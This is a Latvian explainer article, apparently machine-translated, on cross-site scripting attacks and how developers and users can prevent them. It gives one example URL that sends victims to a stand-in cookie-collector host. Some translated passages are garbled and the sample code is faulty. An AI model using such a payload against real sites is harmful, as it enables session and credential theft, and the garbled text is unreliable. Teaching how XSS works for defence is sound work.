Kā hakeri izmanto vairāku vietņu skriptus, lai izjauktu vietnes un nozagtu datus

Vairāku vietņu skripti vai XSS var būt spēcīgs un ātrs uzbrukums. Kā izstrādātājs jūs pat varat to uzskatīt par kļūdu savā kodā un galu galā meklēt kļūdas, kuras tur nav.

Kā klients, izmantojot neaizsargāto vietni, jūs varat arī nevainīgi atklāt svarīgu informāciju par autentifikācijas piekļuvi uzbrucējam.

Kas tad ir vairāku vietņu skriptu izveide? Kā hakeri to var izmantot, lai iekļūtu vietnē un nozagtu jūsu datus? Un kā jūs varat mazināt šādu risku?

Kas ir vairāku vietņu skriptēšana?

Vairāku vietņu skripti jeb XSS notiek, ja ļaunprātīgas vietnes skripts mijiedarbojas ar ievainojamā kodu.

Bet serveri tiek vadīti tādā veidā, kas neļauj cilvēkiem bez autentifikācijas piekļūt jūsu vietnes avota kodam un rediģēt to.

Internets izmanto vienas un tās pašas izcelsmes politiku (SOP), lai bloķētu mijiedarbību starp vietnēm. Tomēr SOP pārbauda trīs galvenās drošības nepilnības un mēģina tās mazināt. Viņi ir:

• Interneta protokola politika, kas pārbauda, ​​vai abas vietnes piegādā saturu drošā SSL (HTTPS) vai nedrošā URL (HTTP).
instagram viewer
• Tā pati tīmekļa mitināšanas politika, kas nodrošina, ka jūs abas vietnes mitināt vienā domēnā.
• Ostas politika, kas pārbauda, ​​vai abās vietnēs tiek izmantoti līdzīgi saziņas galapunkti.

SOP uzskata, ka, ja kāda no šīm politikām ir atšķirīga divām vietnēm, tās nevar lasīt vai apmainīties ar datiem tīmeklī.

Bet JavaScript ir manipulācijas valoda, kas nosaka vietnes atsaucību. Kaut arī jūsu vietnes JavaScript, visticamāk, atrodas atsevišķā failā, varat arī izveidot skripta tagu un ierakstīt to sava dokumenta objekta modelī (DOM).

Tātad XSS uzbrucējs varētu domāt: "ja jūs varat rakstīt JavaScript DOM, tad galu galā to varat izpildīt jebkuru kodu redaktoru vai ievades lauks, kas pieņem HTML tagus. "

Šādu ievainojamību un nejaušību uzbrucējs, kurš izmanto XSS, meklē mērķa vietnē. Kad viņi atradīs šādu nepilnību, viņi varēs apiet SOP.

Saistīts: Galīgā JavaScript apkrāptu lapa

Tāpēc XSS ir uzbrukums, kuru nolaupītāji izmanto, lai ievainotā vietnē injicētu skriptu, kas veic ļaunprātīgas darbības. Skripts var atlasīt neaizsargātas formas vai ievades laukus, kas pieņem datus.

Kā darbojas vairāku vietņu skripti un veidi, ar piemēriem

XSS var būt ātra atspoguļota vai pagaidu skripta izpilde, kuru uzbrucējs ievieto tādās formās kā meklēšanas lauki. Tas var būt arī kaitinošs vai neatlaidīgs, kas ievadīts datu bāzē. Vai arī tas varētu notikt pasīvi pēc lapas ielādes.

Dažos gadījumos šis skripts var arī mainīt cietušā sākotnējo ieguldījumu, lai novērstu viņa nodomu. Pastāvīgas izmaiņas šāda veida lietotāja ievados ir mutējošs XSS.

Neatkarīgi no tā, kādā formā tas notiek, XSS uzbrukuma mērķis ir nozagt upura datus, izmantojot atklātās sīkdatnes un žurnālus.

Apskatīsim īsu katra šī XSS uzbrukuma veida skaidrojumu un to piemērus, lai saprastu, kas tie ir.

Kas ir atspoguļots XSS?

Atspoguļota vai īslaicīga XSS ir tieša JavaScript ievadīšana lietotāja ievades laukā. Tā mērķauditorija ir pieprasījumi, kas iegūst datus no datu bāzes, piemēram, meklēšanas rezultāti. Bet tas ir uzbrukums vienam klientam un mērķim.

Atspoguļotas XSS laikā uzbrucējs ievieto skriptu mērķa upura meklēšanas vienumā. Šāds JavaScript var būt atbalss, novirzīšana vai sīkfailu savācējs.

Pēc tam meklēšanas ievades laukā ievadītais skripts tiek izpildīts, tiklīdz mērķa klients iesniedz vaicājumu.

Piemēram, lietotāja meklēšanas laikā uzbrucējs var ievietot JavaScript, kas atkārto veidlapu, pieprasot upurim ievadīt paroli vai lietotājvārdu. Kad lietotājs to izdarīs, viņi var neapzināti iesniegt savus akreditācijas datus uzbrucējam, domājot, ka tas ir sākotnējās vietnes pieprasījums.

Dažreiz uzbrucējs var arī izmantot skriptu, lai novirzītu lietotāju no neaizsargātās lapas uz viņu lapu. Uzbrucēja lapā nenojaušošu lietotāju var maldināt, iesniedzot dažas veidlapas, kas noved pie akreditācijas datu noplūdes.

Līdzīgi, ja mērķis ir nozagt lietotāja sesiju, uzbrucējs injicē sīkfailu apkopošanas skriptu lietotāja meklēšanas vienumā. Pēc tam viņi nolaupa lietotāja pašreizējo sesiju, nozog svarīgu informāciju un pārņem upura darbības.

XSS uzbrukuma piemērs zemāk nozog lietotāja sīkfailu, izmantojot GET pieprasījumu:

http://vulnerablesite.com/?query=windows.location.replace("http://attackerswebpage.com/cookie-collector")

Iepriekš redzamajā XSS piemērā uzbrucējs neaizsargātajā vietnē atrod nepilnību. Tātad, kad lietotājs neaizsargātajā vietnē meklē nepieejamu resursu, viņš tos novirza uz uzbrucēja lapu. Pēc tam uzbrucējs pieskaras pašreizējā lietotāja sīkfailam un satver viņa sesiju.

Tomēr šī ievainojamība ir izplatīta, ja vietnes vaicājuma darbība netiek filtrēta, lai pārbaudītu skriptu injekcijas, izmantojot HTML.

Bet pat tad, ja ir filtrēts vaicājums, uzbrucējs to var apiet, izmantojot izmisīgus pasākumus, piemēram, nosūtot saites iespējamiem vietnes reāllaika lietotājiem. Viņi to var izdarīt, izmantojot jebkuru sociālās inženierijas forma pieejama viņiem.

Saistīts: Ko darīt, nokrītot pikšķerēšanas uzbrukumam

Kad upuri noklikšķina uz šīs saites, nolaupītājs tagad var veiksmīgi izpildīt XSS uzbrukumu un nozagt upurim attiecīgos datus.

Pastāvīgās vai glabātās vietnes skripti

Saglabātā XSS rada vairāk draudu. Šajā gadījumā uzbrucējs skriptu saglabā vietnes datu bāzē, izraisot pastāvīgu glabātā skripta izpildi. Saglabāto kodu var palaist lapas ielādes laikā vai pēc lapas ielādes.

Atšķirībā no pagaidu XSS formas, glabātā XSS mērķauditorija ir visa neaizsargātās vietnes lietotāju bāze. Papildus tam tas attiecas arī uz ietekmētās vietnes integritāti.

Pastāvīgas XSS laikā uzbrucējs izmanto ievades laukus, piemēram, komentāru veidlapas, lai skriptu ievietotu vietnes datu bāzē.

Bet ko tad, ja jūs aizsargājat POST laukus ar CSRF žetoniem? Diemžēl glabātais vairāku vietņu skripts apiet CSRF pārbaudes.

Tas ir tāpēc, ka uzbrucējs iesniedz veidlapu tāpat kā visi citi vietnes lietotāji. Tātad šāda komentāru veidlapa nosūta skriptu datu bāzei tāpat kā visus citus komentārus.

Šāds uzbrukums var notikt, ja vietnes ievades laukos netiek izmantoti atbilstoši attīrīšanas līdzekļi, lai izvairītos no skriptiem un HTML tagiem.

Iedomājieties lietotāju, kurš zemāk ievieto skriptu, izmantojot tīmekļa komentāru veidlapu:

Kad uzbrucējs ievieto šādu kodu vietnes datu bāzē, tas turpina novirzīt upuri uz uzbrucēja vietni, ielādējot lapu. Skripts var būt arī brīdinājums, interaktīvs modālais lodziņš vai iegulta ļaunprātīga reklāma.

Tā kā skripts novirza, ielādējot lapu, upuris, kurš nav pazīstams ar neaizsargāto vietni, var nepamanīt novirzīšanu.

Pēc tam viņi turpina mijiedarboties ar uzbrucēja vietni. Tomēr nolaupītājs pēc tam var izmantot vairākus līdzekļus, lai iegūtu informāciju no upuriem, kad viņi atrodas viņu tīmekļa vietnē.

Kas ir DOM vai pasīvā XSS?

DOM balstīta XSS izpilda vietnē iegultu ļaunprātīgu kodu, liekot klienta pusē visu DOM uzvesties neparasti.

Kamēr vietnē XML tiek glabāti un atspoguļoti servera puses pieprasījumi, DOM XSS mērķē izpildlaika darbības. Tas darbojas, ievietojot skriptu vietnes komponentā, kas veic noteiktu uzdevumu. Šis komponents neveic servera puses darbību.

Tomēr šādā komponentā ievietots skripts pilnībā maina nodomu. Ja šis komponents veic ar DOM saistītu uzdevumu, piemēram, tos, kas maina vietnes elementus, skripts var piespiest mainīt visu vietni.

Sliktākos gadījumos DOM bāzes XSS var atdarināt kļūdu. Tas tāpēc, ka vietne kļūst neparasti reaģējoša.

Kā novērst vairāku vietņu skriptu uzbrukumu

XSS ievainojamība rodas nepareizas labākās aizmugures prakses izmantošanas dēļ. Tāpēc vairāku vietņu skriptu uzbrukuma novēršana parasti ir izstrādātāja pienākums. Bet lietotājiem ir arī sava loma.

CSFR marķiera izmantošana ievades laukos nešķiet kā risinājums XSS uzbrukumiem. Tā kā šis uzbrukums apiet arī to pašu izcelsmes politiku, izstrādātājiem jābūt uzmanīgiem, lai neizlaistu drošības praksi, kas novērš XSS.

Izstrādātājiem ir noderīgi šādi preventīvie pasākumi.

Sanitize Ievades lauki

Lai novērstu gan uzglabāto, gan pagaidu XSS, ievades laukiem jāizmanto efektīvi attīrīšanas līdzekļi. Piemēram, meklēšanas vaicājumu dzēšana novērš tagu ievadīšanu lietotāju meklēšanas vienumos.

Izmantojiet Unicode un HTML Auto Escape

Ir lietderīgi izmantot HTML un Unicode automātisko aizbēgšanu, lai neļautu ievades laukiem, piemēram, komentāru un reklāmguvumu veidiem, pieņemt skriptus un HTML tagus. Automātiskā aizbēgšana ir spēcīgs profilakses līdzeklis pret uzglabātu vai pastāvīgu XSS.

Ļaut lietotājiem ievietot tagus komentāru veidlapās ir slikta ideja jebkurai vietnei. Tas ir drošības pārkāpums. Tomēr, ja jums tas jāatļauj, jums jāpieņem tikai tādi tagi, kas neapdraud XSS.

Izmantojiet atbilstošo ievades validāciju

Pat ja jūs pilnībā bloķējat tagus, uzbrucējs joprojām var veikt XSS uzbrukumu ar sociāliem līdzekļiem. Viņi var sūtīt e-pastus, nevis ievietot kaut ko tieši neaizsargātajā vietnē.

Tātad vēl viena metode, kā to novērst, ir efektīvi pārbaudīt ieguldījumus. Šādi pasākumi ietver protokolu apstiprināšanu un nodrošināšanu, ka jūsu vietne pieņem tikai ievadus no droša HTTPS, nevis HTTP.

Izmantojot īpašas JavaScript bibliotēkas, piemēram, dompurify, varat arī bloķēt ar XSS saistītus drošības pārkāpumus.

Varat izmantot tādus rīkus kā XSS skeneris vai GEEKFLARE lai pārbaudītu, vai jūsu vietnē nav XSS ievainojamības.

Kā lietotāji var novērst XSS

Mūsdienās internetā ir miljoniem vietņu. Tātad jūs diez vai varat pateikt, kuram ir XSS drošības jautājumi.

Tomēr kā lietotājam pirms tā lietošanas jāpārliecinās, ka esat iepazinies ar jebkuru tīmekļa pakalpojumu. Ja vietne pēkšņi kļūst rāpojoša vai sāk izturēties neparasti, tas var būt sarkans karogs.

Lai kāds būtu gadījums, esiet uzmanīgs, lai neizpaustu personas datus ar neuzticamu trešo personu. Pēc tam meklējiet nevēlamus e-pastus vai aizdomīgus sociālo mediju ierakstus, kas var izraisīt jebkādu pikšķerēšanas uzbrukumu forma.

Neviena profilaktiska metode nav piemērota visiem

Mēs esam redzējuši, kā izskatās XSS uzbrukums un kā to novērst. Izstrādes laikā ir viegli aizmirst XSS drošības pārbaudes. Tāpēc izstrādātājiem ir jāveic pasākumi, lai nodrošinātu, ka aizsardzība netiek izlaista. Tomēr iepriekš uzskaitīto preventīvo pasākumu kombinācija darbojas labāk.

Kas ir CSRF uzbrukumi un kā tos novērst?

Lai CSRF uzbrukumos nezaudētu naudu un akreditācijas datus, gan izstrādātājiem, gan lietotājiem ir sava loma.

Par autoru